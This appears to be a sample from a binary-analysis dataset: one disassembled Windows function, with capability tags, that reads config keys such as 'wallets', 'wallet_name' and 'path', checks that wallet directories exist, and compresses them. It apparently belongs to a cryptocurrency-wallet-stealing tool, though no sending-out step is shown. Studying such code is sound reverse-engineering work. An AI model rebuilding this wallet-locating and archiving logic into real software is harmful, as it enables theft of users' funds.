Function at 0x140008450
Capabilities:
Check if file exists
Get file attributes

Disassembly:
test rcx, rcx
je 0x140008859
push rbp
sub rsp, 0x70
cmp qword [rcx + 8], 2
mov rbp, rdx
jne 0x140008854
mov rax, qword [rcx]
mov qword [rsp + 0x88], rbx
mov rbx, qword [rax]
test rbx, rbx
je 0x14000884c
mov qword [rsp + 0x60], rdi
lea rdi, str.wallets
nop
mov rdx, qword [rbx]
mov rcx, rdi
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x1400084b0
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [rdi + rax], 0
je 0x1400084cc
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008490
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rbp
ret
mov rax, qword [rbx + 8]
mov qword [rsp + 0x50], r13
lea r13, [0x14000bd00]
cmp rax, r13
je 0x140008842
cmp qword [rax + 8], 2
jne 0x140008842
mov rax, qword [rax]
mov rbx, qword [rax]
test rbx, rbx
je 0x140008842
lea rdi, str.rules
nop word [rax + rax]
mov rdx, qword [rbx]
mov rcx, rdi
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140008530
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [rdi + rax], 0
je 0x14000853e
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008510
jmp 0x140008842
mov rax, qword [rbx + 8]
cmp rax, r13
je 0x140008842
cmp qword [rax + 8], 3
jne 0x140008842
mov rax, qword [rax]
mov qword [rsp + 0x48], r14
mov r14, qword [rax]
test r14, r14
je 0x14000883d
mov qword [rsp + 0x58], r12
lea r12, str.wallet_name
mov qword [rsp + 0x40], r15
lea r15, str.path
mov qword [rsp + 0x68], rsi
nop word [rax + rax]
mov rbx, qword [r14]
cmp qword [rbx + 8], 2
jne 0x140008821
test rbx, rbx
je 0x1400085de
mov rbx, qword [rbx]
mov rbx, qword [rbx]
test rbx, rbx
je 0x1400085de
nop
mov rdx, qword [rbx]
mov rcx, r15
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x1400085d5
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [r15 + rax], 0
je 0x14000885a
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400085b0
mov rdi, r13
mov rax, qword [r14]
test rax, rax
je 0x14000862e
cmp qword [rax + 8], 2
jne 0x14000862e
mov rax, qword [rax]
mov rbx, qword [rax]
test rbx, rbx
je 0x14000862e
nop dword [rax + rax]
mov rdx, qword [rbx]
mov rcx, r12
mov rdx, qword [rdx]
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140008625
mov rax, qword [rbx]
mov rax, qword [rax + 8]
cmp byte [r12 + rax], 0
je 0x140008863
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140008600
mov rax, r13
cmp rdi, r13
je 0x140008821
cmp rax, r13
je 0x140008821
cmp qword [rdi + 8], 0
jne 0x140008821
cmp qword [rax + 8], 0
jne 0x140008821
mov rdi, qword [rdi]
mov rsi, qword [rax]
mov rbx, qword [0x14000d488]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov r8d, 0x208
mov rcx, rax
call rbx
mov rdx, rbp
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
mov rdx, qword [rdi]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140008821
test al, 0x10
je 0x140008821
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
xor edi, edi
lea r9, [rsp + 0x80]
lea rdx, str.WalletDirectory_:
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea r8d, [rdi + 0x12]
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], dil
jne 0x1400086f0
lea r9, [rsp + 0x90]
mov qword [rsp + 0x20], rdi
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x98]
mov qword [rsp + 0x20], rdi
mov rcx, rax
lea rdx, [0x14000bb30]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov r8d, 0x208
mov rcx, rax
mov rdi, rax
call qword [0x14000d488]
mov rdx, qword [rsi]
mov rcx, rbx
call fcn.140007ca0
mov rbx, rax
test rax, rax
je 0x140008813
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, str.CompressedWalletPath_:
mov r8d, 0x17
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x1400087b5
lea r9, [rsp + 0x34]
mov qword [rsp + 0x20], 0
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
lea r9, [rsp + 0x38]
mov qword [rsp + 0x20], 0
mov rcx, rax
lea rdx, [0x14000b714]
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_WriteConsoleA]
mov rdx, qword [rsi]
mov rcx, rbx
call fcn.140007980
mov r8, rbx
xor edx, edx
mov rcx, rdi
call qword [0x14000d458]
mov r14, qword [r14 + 8]
test r14, r14
jne 0x140008590
mov r15, qword [rsp + 0x40]
mov r12, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x48]
mov r13, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rbp
ret
mov rdi, qword [rbx + 8]
jmp 0x1400085e1
mov rax, qword [rbx + 8]
jmp 0x140008631